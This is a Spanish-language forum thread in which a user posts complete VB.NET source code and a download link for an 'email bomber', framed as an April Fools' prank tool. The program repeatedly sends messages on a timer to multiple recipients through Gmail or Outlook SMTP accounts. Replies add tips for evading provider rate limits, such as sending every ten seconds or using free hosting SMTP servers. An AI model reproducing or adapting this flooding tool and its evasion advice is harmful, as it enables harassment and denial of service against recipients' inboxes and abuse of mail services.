Bombardero Email - ¡Día de los inocentes! VB.NET

[Crazy.sx]

Ya he visto en este foro muchos códigos de "Email bomber", pero aquí les traigo uno, que a decir verdad, no es muy diferente a los demás. Pero para hacer bromas en el día de hoy creo que viene al pelo.  

Aclaro que no son emails anónimos, sino que se debe usar una cuenta de correo que exista y que sea válida completando la dirección de correo y la contraseña.
Se puede enviar tantos emails como se quiera (hasta que se presione el botón "Detener") a varios destinatarios al mismo tiempo simplemente separando los correos con "punto y coma" y sin espacios  

Código (vbnet) [Seleccionar] Expandir

'Una vieja idea para hacer bromas por email
'
'Por Crazy.sx

Imports System.Net.Mail
Imports System.IO
Public Class EnvEMAIL
   Private TipoCuenta As String
   'Private aAdjuntos As Attachment
   'Private dato As FileStream
   'Private CORREO As New MailMessage
   Dim numCantidadEnviados As Integer = 0

   Private Sub btnEnviar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnEnviar.Click
       lblConteoEmail.Text = "Cantidad email enviados: 0"
       If checkbxActivarBomber.CheckState = CheckState.Checked Then
           Timer1.Interval = txtSegundos.Text * 1000
           Timer1.Enabled = True
       End If

       If checkbxActivarBomber.CheckState = CheckState.Unchecked Then
           Timer1.Enabled = False
           Call emailNormal()
       End If
   End Sub

   Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
       Call emailBomber()
   End Sub

   Private Sub emailBomber()
       Call emailNormal()
   End Sub

   Private Sub emailNormal()
       Dim Mail As New MailMessage
       Dim puertoSMTP As String = Nothing
       Mail.Subject = txtAsunto.Text

       If chekbxCCO.CheckState = CheckState.Checked Then
           For Each email As String In txtDestino.Text.Split(";")
               Mail.Bcc.Add(New System.Net.Mail.MailAddress(email)) 'CCO
           Next
       Else
           For Each email As String In txtDestino.Text.Split(";")
               Mail.To.Add(New System.Net.Mail.MailAddress(email)) 'Sin CCO
           Next
       End If

       Mail.From = New MailAddress(txtRemitente.Text)
       Mail.Body = txtCuerpoMensaje.Text

       If ComboBox1.Text = "Windows Live" Then
           TipoCuenta = "smtp.live.com"
       End If

       If ComboBox1.Text = "Gmail" Then
           TipoCuenta = "smtp.gmail.com"
       End If

       If ComboBox1.Text = "Outlook" Then
           TipoCuenta = "smtp.live.com"
       End If

       Dim TRUE_FALSE As Boolean = vbNull
       If ComboBox2.Text = "TRUE" Then
           TRUE_FALSE = True
       End If

       If ComboBox2.Text = "FALSE" Then
           TRUE_FALSE = False
       End If

       Dim SMTP As New SmtpClient(TipoCuenta)
       SMTP.EnableSsl = TRUE_FALSE
       SMTP.Credentials = New System.Net.NetworkCredential(txtRemitente.Text, txtPass.Text)
       SMTP.Port = txtPuertoSMTP.Text
       SMTP.Send(Mail)

       If checkbxActivarBomber.CheckState = CheckState.Checked Then
           numCantidadEnviados = numCantidadEnviados + 1
           lblConteoEmail.Text = "Cantidad email enviados: " & numCantidadEnviados
       Else
           MsgBox("Mensaje enviado a destinario/s")
       End If
   End Sub

   Private Sub EnvEMAIL_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
       End
   End Sub

   Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
       txtPuertoSMTP.Text = "587" 'Puerto predeterminado
       ComboBox1.Text = "Seleccione SMTP"
       Call ElegirSMTP()
       Call seguridadSSL()
   End Sub

   Sub seguridadSSL()
       With Me.ComboBox2.Items
           .Add("TRUE")
           .Add("FALSE")

       End With
   End Sub

   Sub ElegirSMTP()
       With Me.ComboBox1.Items
           .Add("Outlook")
           .Add("Windows Live")
           .Add("Gmail")
       End With
   End Sub

   Private Sub btnDetener_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnDetener.Click
       Timer1.Enabled = False
       numCantidadEnviados = 0
   End Sub
End Class

Descargar proyecto: https://skydrive.live.com/redir?resid=8E230698F73CED18!986&authkey=!AEeGCOYK3QRk3iA

Ya que estamos, pasenme el SMTP y el puerto de Yahoo y/o de algunos otros que conozcan. Gracias.

Saludos, yo.

[.::IT::.]

Pues con servidores de correo gratuitos no funcionara. Ya que te cancelaran las cuentas por envió de spam

[Crazy.sx]

Pues con servidores de correo gratuitos no funcionara. Ya que te cancelaran las cuentas por envió de spam

Sí, la verdad. Aunque también es cierto que si desde la misma cuenta de Gmail, Outlook o Windows Live, si envías correos muy seguidos, te bloquean la cuenta por un tiempo para evitar esto que vos mencionas. Hice la prueba con mi cuenta personal y me pasó  .
La única solución fue enviar los emails cada 10 segundos aproximadamente.

Saludos.

[spiritdead]

para eso buscas hostings free q tengan smtp y lo haces :3

[Crazy.sx]

para eso buscas hostings free q tengan smtp y lo haces :3

Sí, bueno. Solo que actualmente es más común que los correos de esos hosting que decís es muy probable que lleguen como "Correos no deseados" y no los lean así no mas...